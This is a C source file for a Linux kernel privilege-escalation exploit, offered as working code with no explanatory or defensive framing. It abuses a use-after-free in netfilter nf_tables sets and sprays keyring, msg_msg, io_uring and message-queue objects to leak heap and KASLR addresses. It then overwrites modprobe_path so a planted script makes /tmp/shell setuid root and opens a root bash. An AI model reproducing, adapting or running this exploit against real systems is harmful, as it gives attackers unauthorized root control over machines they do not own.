// gcc exp.c -o exp -l mnl -l nftnl -w
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <sched.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <err.h>
#include <libmnl/libmnl.h>
#include <libnftnl/chain.h>
#include <libnftnl/expr.h>
#include <libnftnl/rule.h>
#include <libnftnl/table.h>
#include <libnftnl/set.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter/nfnetlink.h>
#include <sched.h>
#include <sys/types.h>
#include <signal.h>
#include <net/if.h>
#include <asm/types.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <sys/socket.h>
#include <linux/ethtool.h>
#include <linux/sockios.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <assert.h>
#include <netinet/in.h>
#include <stdint.h>
#include <syscall.h>
#include <mqueue.h>
#include <linux/io_uring.h>
#include <linux/keyctl.h>
#include <sys/shm.h>
#include <sys/ipc.h>
#include <sys/types.h>
#include <sys/mman.h>

#define MQUEUE_NUM 5


#define INBOUND 0
#define OUTBOUND 1
#define DESC_MAX 0x800

#define BUFFER 0x100
#define NAMELEN 0x100
#define ERROR_PREFIX "err: "

#define KEY_DESC_MAX_SIZE 40

#define PREFIX_BUF_LEN 16
#define RCU_HEAD_LEN 16

#define SPRAY_KEY_SIZE 50

#define PHYSMAP_MASK 0xffffffff00000000

#define SPRAY_SIZE 1000

#define SPRAY_NB_ENTRIES 10

uint64_t base_base;
uint64_t heap_base;
uint64_t modprobe_addr;

enum nft_trans_phase {
        NFT_TRANS_PREPARE,
        NFT_TRANS_ABORT,
        NFT_TRANS_COMMIT,
        NFT_TRANS_RELEASE
};

typedef struct 
{
        long mtype;
        char mtext[1];
}msg;

typedef struct 
{
    void *ll_next;
    void *ll_prev;
    long m_type;
    size_t m_ts;
    void *next;
    void *security;
}msg_header;

typedef struct
{
  char name[BUFFER];
} Msg;

typedef struct
{
    char iface[16];
    char name[16];
    char ip[16];
    char netmask[16];
    uint8_t idx;
    uint8_t type;
    uint16_t proto;
    uint16_t port;
    uint8_t action;
    char desc[DESC_MAX];
} user_rule_t;


struct keyring_payload {
    uint8_t prefix[PREFIX_BUF_LEN];
    uint8_t rcu_buf[RCU_HEAD_LEN];
    unsigned short len;
};

struct leak {
    long kaslr_base;
    long physmap_base;
};

struct fd_uring {
    int fd;
    struct io_uring_params *params;
};

typedef int32_t key_serial_t;

const char priv_file[] = "/tmp/shell.c\0";
const char dummy_file[] = "/tmp/dummy\0";

const char priv_context[] = "#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n\nint main(int argc, char **argv){if (geteuid() == 0){setuid(0);setgid(0);puts(\"[+] I am root\");system(\"bash\");}}\x00";
const char dummy_content[] = "\xff\xff\xff\xff";
const char new_modprobe_content[] = "#!/bin/bash\n\nchown root:root /tmp/shell\nchmod 4555 /tmp/shell\n";



static inline key_serial_t add_key(const char *type, const char *description, const void *payload, size_t plen, key_serial_t ringid) {
    return syscall(__NR_add_key, type, description, payload, plen, ringid);
}

static inline long keyctl(int operation, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5) {
    return syscall(__NR_keyctl, operation, arg2, arg3, arg4, arg5);
}

void bye(char *info)
{
    puts(info);
    exit(-2);
}

void do_error_exit(char *info)
{
    puts(info);
    exit(-1);
}

void bye2(char *info, char *arg)
{
    printf(info, arg);
}

key_serial_t *spray_keyring(uint32_t start, uint32_t spray_size) {

    char key_desc[KEY_DESC_MAX_SIZE];
    key_serial_t *id_buffer = calloc(spray_size, sizeof(key_serial_t));

    if (id_buffer == NULL)
        bye("calloc");

    for (uint32_t i = start; i < start+spray_size; i++) {
        snprintf(key_desc, KEY_DESC_MAX_SIZE, "SPRAY-RING-%03du", i);
        id_buffer[i] = add_key("user", key_desc, key_desc, strlen(key_desc), KEY_SPEC_PROCESS_KEYRING);
        if (id_buffer[i] < 0)
            bye("add_key");
    }

    return id_buffer;
}

key_serial_t *spray_keyring_list_del_purpose(uint32_t spray_size, uint64_t next, uint64_t prev, uint64_t size)
{
    // next[0x8] = prev, prev[0x0] = next allocation occured at gather mqueue
    char key_desc[KEY_DESC_MAX_SIZE];
    key_serial_t *id_buffer = calloc(spray_size, sizeof(key_serial_t));

    char temp[0x20];
    memcpy(temp+0x0, &next, 8);
    memcpy(temp+0x8, &prev, 8);
    memcpy(temp+0x10, "12341234", 8);
    memcpy(temp+0x18, &size, 8);

    if (id_buffer == NULL)
        do_error_exit("calloc");

    for (uint32_t i = 0; i < spray_size; i++) {
        id_buffer[i] = add_key("user", temp, temp, 0x20, KEY_SPEC_PROCESS_KEYRING);
        if (id_buffer[i] < 0)
            do_error_exit("add_key");
    }

    return id_buffer;
}

key_serial_t *spray_keyring_list_overwrite_purpose(uint32_t spray_size, uint64_t len, uint64_t off_18, 
                                                    uint64_t off_20, uint64_t off_28, uint64_t off_30, uint64_t off_38)
{
    char key_desc[KEY_DESC_MAX_SIZE];
    key_serial_t *id_buffer = calloc(spray_size, sizeof(key_serial_t));

    char temp[0x40];
    switch((len-1)/8)
    {
        case 0:
            memcpy(temp+0x0, &off_18, 8);
        case 1:
            memcpy(temp+0x8, &off_20, 8);
        case 2:
            memcpy(temp+0x10, &off_28, 8);
        case 3:
            memcpy(temp+0x18, &off_30, 8);
        case 4:
            memcpy(temp+0x20, &off_38, 8);
            break;
        default:
            bye("add_key - assert(len <= 0x28)");
    }

    for (uint32_t i = 0; i < spray_size; i++) {
        snprintf(key_desc, KEY_DESC_MAX_SIZE, temp);
        id_buffer[i] = add_key("user", temp, temp, len, KEY_SPEC_PROCESS_KEYRING);
        if (id_buffer[i] < 0)
            do_error_exit("add_key");
    }

    return id_buffer;
}

int get_keyring_leak(key_serial_t *id_buffer, uint32_t id_buffer_size) {
    
    uint8_t buffer[USHRT_MAX] = {0};
    int32_t keylen;

    for (uint32_t i = 0; i < id_buffer_size; i++) {

        keylen = keyctl(KEYCTL_READ, id_buffer[i], (long)buffer, 0x10, 0);
        if (keylen < 0)
            bye("keyctl");

        if(!strncmp(&buffer[6],"\xff\xff", 2))
        {
            heap_base = *((uint64_t*)buffer);
            printf("[+] leak successed, kmalloc-64 heap: 0x%llx\n", heap_base);
            return i;
        }
        else
            printf("[-] leak failed, idkval: %s\n", buffer);
    }
    return id_buffer_size;
}

void awake_partial_keys(key_serial_t *id_buffer, uint32_t idx) {
    uint8_t buffer[USHRT_MAX] = {0};
    int32_t keylen;
    keylen = keyctl(KEYCTL_UPDATE, id_buffer[idx], (long)buffer, 0x10, 0);
}



void release_keys(key_serial_t *id_buffer, uint32_t id_buffer_size) 
{
    
    for (uint32_t i = 0; i < id_buffer_size; i++) {
        if (keyctl(KEYCTL_REVOKE, id_buffer[i], 0, 0, 0) < 0)
            do_error_exit("keyctl(KEYCTL_REVOKE)");
    }

    free(id_buffer);
}

void release_partial_keys(key_serial_t *id_buffer, int i) 
{
    if (keyctl(KEYCTL_REVOKE, id_buffer[i], 0, 0, 0) < 0)
        do_error_exit("keyctl(KEYCTL_REVOKE)");
}


void unshare_setup(uid_t uid, gid_t gid)
{
    int temp;
    char edit[0x100];

    unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET);

    temp = open("/proc/self/setgroups", O_WRONLY);
    write(temp, "deny", strlen("deny"));
    close(temp);

    temp = open("/proc/self/uid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", uid);
    write(temp, edit, strlen(edit));
    close(temp);

    temp = open("/proc/self/gid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", gid);
    write(temp, edit, strlen(edit));
    close(temp);

    return;
}


void set_stable_table_and_set(struct mnl_socket* nl, const char *name)
{
    char * table_name = name;
    char * set_name = NULL;
    uint8_t family = NFPROTO_IPV4;
    uint32_t set_id = 1;

    // a table for the sets to be associated with
    struct nftnl_table * table = nftnl_table_alloc();
    nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name);
    nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0);

    struct nftnl_set * set_stable =  nftnl_set_alloc();
    set_name = "set_stable";
    nftnl_set_set_str(set_stable, NFTNL_SET_TABLE, table_name);
    nftnl_set_set_str(set_stable, NFTNL_SET_NAME, set_name);
    nftnl_set_set_u32(set_stable, NFTNL_SET_KEY_LEN, 1);
    nftnl_set_set_u32(set_stable, NFTNL_SET_FAMILY, family);
    nftnl_set_set_u32(set_stable, NFTNL_SET_ID, set_id++);

    // expressions
    struct nftnl_expr * exprs[128];
    int exprid = 0;

    // serialize
    char buf[MNL_SOCKET_BUFFER_SIZE*2];

    struct mnl_nlmsg_batch * batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
    int seq = 0;

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    struct nlmsghdr * nlh;
    int table_seq = seq;

    nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWTABLE, family, NLM_F_CREATE|NLM_F_ACK, seq++);
    nftnl_table_nlmsg_build_payload(nlh, table);
    mnl_nlmsg_batch_next(batch);

    // add set_stable
    nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
                                    NFT_MSG_NEWSET, family,
                                    NLM_F_CREATE|NLM_F_ACK, seq++);
    nftnl_set_nlmsg_build_payload(nlh, set_stable);
    nftnl_set_free(set_stable);
    mnl_nlmsg_batch_next(batch);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (nl == NULL) {
        err(1, "mnl_socket_open");
    }

    printf("[+] setting stable %s and set\n", table_name);
    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "mnl_socket_send");
    }
}

void set_trigger_set_and_overwrite(struct mnl_socket* nl, const char *name, const char *set_name)
{
    char * table_name = name;
    uint8_t family = NFPROTO_IPV4;
    uint32_t set_id = 1;
    struct nftnl_expr * exprs[128];
    int exprid = 0;
    struct nlmsghdr * nlh;

    struct nftnl_set * set_trigger = nftnl_set_alloc();

    nftnl_set_set_str(set_trigger, NFTNL_SET_TABLE, table_name);
    nftnl_set_set_str(set_trigger, NFTNL_SET_NAME, set_name);
    nftnl_set_set_u32(set_trigger, NFTNL_SET_FLAGS, NFT_SET_EXPR);
    nftnl_set_set_u32(set_trigger, NFTNL_SET_KEY_LEN, 1);
    nftnl_set_set_u32(set_trigger, NFTNL_SET_FAMILY, family);
    nftnl_set_set_u32(set_trigger, NFTNL_SET_ID, set_id);
    exprs[exprid] = nftnl_expr_alloc("lookup");
    nftnl_expr_set_str(exprs[exprid], NFTNL_EXPR_LOOKUP_SET, "set_stable");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);
    nftnl_set_add_expr(set_trigger, exprs[exprid]);
    exprid++;

    char buf[MNL_SOCKET_BUFFER_SIZE*2];

    struct mnl_nlmsg_batch * batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
    int seq = 0;

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
                                    NFT_MSG_NEWSET, family,
                                    NLM_F_CREATE|NLM_F_ACK, seq++);
    nftnl_set_nlmsg_build_payload(nlh, set_trigger);
    nftnl_set_free(set_trigger);
    mnl_nlmsg_batch_next(batch);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (nl == NULL) {
        err(1, "mnl_socket_open");
    }

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "mnl_socket_send");
    }

    printf("[+] triggering UAF set and overwrite *(prevchunk+0x18)\n");
}

void set_cpu_affinity(int cpu_n, pid_t pid) {
    cpu_set_t set;

    CPU_ZERO(&set);
    CPU_SET(cpu_n, &set);

    if (sched_setaffinity(pid, sizeof(set), &set) < 0)
        do_error_exit("sched_setaffinity");
}

void spray_mqueue(mqd_t mqdes, char *msgptr, int spray_size)
{
    char msgrv[BUFFER];
	unsigned rvprio, sdprio = 1;
	struct timespec ts;
	int unresolved = 0;

	int priority = 0;

    printf("[*] spraying mqueue...\n");
    for(int i=0; i<spray_size; i++)
        if (mq_send(mqdes, msgptr, 0x28, sdprio) != 0)
            perror(ERROR_PREFIX "mq_send");
}

int gather_mqueue(mqd_t mqdes, int gather_size)
{
    int priority = 0;
    char msg[BUFFER];
    printf("[*] gathering mqueue...\n");
    for(int i=0; i<gather_size; i++)
    {
        if (mq_receive(mqdes, (char*) &msg, BUFFER, NULL) != -1)
        {   

            if(*((uint64_t *)msg) & 0xffffffff00000000 != 0xffffffff00000000)
                bye("[-] can't leak base... \n");

            base_base = *((uint64_t *)msg) - 0x51af80;
            modprobe_addr = base_base + 0x1e8b320;
            printf("[+] KASLR base: 0x%llx\n", base_base);
            printf("[+] modprobe addr: 0x%llx\n", modprobe_addr);
        }
    }
    return 0;
}

int gather_mqueue_nosave(mqd_t mqdes, int gather_size)
{
    int priority = 0;
    char msg[BUFFER];
    printf("[*] gathering mqueue...\n");
    for(int i=0; i<gather_size; i++)
        mq_receive(mqdes, (char*) &msg, BUFFER, NULL);

    return 0;
}

void spray_msg_msg(unsigned int size, unsigned int amount, int qid)
{
    char buffer[0x2000];
    msg *spray = (msg *)buffer;

    // assert(size >= 0x31 && size <= 0x1000 - 0x8);
    printf("[*] try to spray msg_msg\n");
    spray->mtype = 1;

    memset(spray->mtext, 0x41, size - 0x30);

    for (int i = 0; i < amount; i++)
    {
        if(i % 0x10 == 0)
            printf("[*] spraying msg_msg: 0x%x\n", i);
        if (msgsnd(qid, spray, size - 0x30, 0) == -1)
        {
            perror("msgsend failure");
            exit(-1);
        }
    }
    return;
}

static inline int io_uring_setup(uint32_t entries, struct io_uring_params *p) {
    return syscall(__NR_io_uring_setup, entries, p);
}

static inline int io_uring_register(int fd, unsigned int opcode, void *arg, unsigned int nr_args) {
    return syscall(__NR_io_uring_register, fd, opcode, arg, nr_args);
}


struct fd_uring *spray_uring(uint32_t spray_size, struct fd_uring *fd_buffer) {

    for (uint64_t i = 0; i < spray_size; i++) {

        fd_buffer[i].params = malloc(sizeof(struct io_uring_params));
        if (!fd_buffer[i].params)
            do_error_exit("malloc");
        memset(fd_buffer[i].params, 0, sizeof(struct io_uring_params));

        fd_buffer[i].fd = io_uring_setup(SPRAY_NB_ENTRIES, fd_buffer[i].params);
        if (fd_buffer[i].fd < 0)
            do_error_exit("io_uring_create");

    }
    return fd_buffer;
}

void release_uring(struct fd_uring *fd_buffer, uint32_t buffer_size) {

    for (uint32_t i = 0; i < buffer_size; i++) {
        close(fd_buffer[i].fd);
    }
    free(fd_buffer);
}

void release_partial_uring(struct fd_uring *fd_buffer, uint32_t buffer_idx) {

    close(fd_buffer[buffer_idx].fd);
}

void prepare_root_shell(void) {
    create_dummy_file();
    create_priv_file();
}

void create_dummy_file(void) {
    int fd;

    fd = open(dummy_file, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO);
    write(fd, dummy_content, sizeof(dummy_content));
    close(fd);
}

void create_priv_file(void) {
    int fd;

    fd = open(priv_file, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO);
    write(fd, priv_context, sizeof(priv_context));
    close(fd);

    system("gcc -o /tmp/shell /tmp/shell.c -w");
}

void write_new_modprobe() {

    int fd, fd_modprobe;
    char modprobe_name[0x10] = {0, };

    fd_modprobe = open("/proc/sys/kernel/modprobe", O_RDONLY);
    read(fd_modprobe, modprobe_name, 14);
    close(fd_modprobe);
    
    printf("[*] current modprobe name: %s\n", modprobe_name);
    fd = open(modprobe_name, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO);
    if (fd < 0)
        do_error_exit("open");

    write(fd, new_modprobe_content, sizeof(new_modprobe_content));

    close(fd);
}

void setup_modprobe_payload() {
    write_new_modprobe();
}

void userland_T(int *sema)
{
    while(*sema);
}

void sema_up(int *sema)
{
    *sema = 1;
}

void sema_down(int *sema)
{
    *sema = 0;
}

int main(int argc, char ** argv)
{
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);
    char c;
    char writebuf[0x2000];

    char mqname[MQUEUE_NUM][NAMELEN] = {"/qname1", "/qname2", "/qname3", "/qname4", "/qname5"};
    mqd_t mqid[MQUEUE_NUM];
    struct mq_attr attr;
	attr.mq_flags   = 0;
	attr.mq_maxmsg  = 10;
	attr.mq_msgsize = BUFFER;
	attr.mq_curmsgs = 0;
    int uaf_id = 0;

    int *sema = mmap(NULL, sizeof(int), PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
    int *sema2 = malloc(0x10);

    prepare_root_shell();
    sema_up(sema);
    if(fork())
    {
        set_cpu_affinity(1, getpid());
        userland_T(sema);
        sleep(1);
        printf("\n\n[------------------------- stage 4: Execute Malicious File -------------------------------]\n");
        setup_modprobe_payload();
        execve("/tmp/dummy", NULL, NULL);
        execve("/tmp/shell", NULL, NULL);
    }

    unshare_setup(getuid(), getgid());

    set_cpu_affinity(0, 0);

    struct fd_uring *fd_buffer = calloc(SPRAY_SIZE, sizeof(struct fd_uring));
    if (!fd_buffer)
        do_error_exit("calloc");

    for(int i=0; i<5; i++)
        if((mqid[i] = mq_open(mqname[i], O_CREAT | O_RDWR, S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH, &attr)) < 0)
            bye("MQUEUE");
    
    struct mnl_socket* nl = mnl_socket_open(NETLINK_NETFILTER);

    printf("\n\n[------------------------- stage 0: Allocate stable table and set ------------------------]\n");
    set_stable_table_and_set(nl, "table1");
    set_stable_table_and_set(nl, "table2");
    set_stable_table_and_set(nl, "table3");
    set_stable_table_and_set(nl, "table4");

    printf("\n\n[------------------------- stage 1: Leak heap address ------------------------------------]\n");
    set_trigger_set_and_overwrite(nl, "table1", "set_trigger0");
    
    key_serial_t *id_buffer = spray_keyring(0, SPRAY_KEY_SIZE);

    set_trigger_set_and_overwrite(nl, "table1", "set_trigger1");
    if((uaf_id = get_keyring_leak(id_buffer, SPRAY_KEY_SIZE)) == SPRAY_KEY_SIZE)
        bye("[-] leak failed...");

    printf("\n\n[------------------------- stage 2: Leak KASLR address -----------------------------------]\n");
    
    spray_uring(SPRAY_SIZE, fd_buffer);

    set_trigger_set_and_overwrite(nl, "table2", "set_trigger2");
    spray_mqueue(mqid[0], "TESTMSGTESTMSGTESTMSGTESTMSGTESTMSG", 4);

    release_partial_uring(fd_buffer, SPRAY_SIZE-1);
    for(int i = 3; i > 113; i++)
        release_partial_uring(fd_buffer, SPRAY_SIZE-i);
    release_partial_uring(fd_buffer, SPRAY_SIZE-2);
    set_trigger_set_and_overwrite(nl, "table2", "set_trigger3");
    key_serial_t *id_buffer3 = spray_keyring_list_del_purpose(SPRAY_KEY_SIZE*2, heap_base, heap_base, 0x28);// keyring <-> msg_msg overlap
    gather_mqueue(mqid[0], 1);

    sleep(1);
    printf("\n\n[------------------------- stage 3: Overwrite modprobe_path ------------------------------]\n");

    set_trigger_set_and_overwrite(nl, "table3", "set_trigger4");
    spray_mqueue(mqid[1], "TESTMSGTESTMSGTESTMSGTESTMSGTESTMSG", 4);
    set_trigger_set_and_overwrite(nl, "table3", "set_trigger5");
    id_buffer = spray_keyring_list_del_purpose(1, modprobe_addr-0x8+0x1, (heap_base&0xffffffff00000000)+0x2f706d74, 0x10);
    sema_down(sema);
    gather_mqueue_nosave(mqid[1], 1);

    sleep(1);
    for(int i=SPRAY_SIZE/2+12; i<SPRAY_SIZE; i++)
        release_partial_uring(fd_buffer, i);

    while(1);
}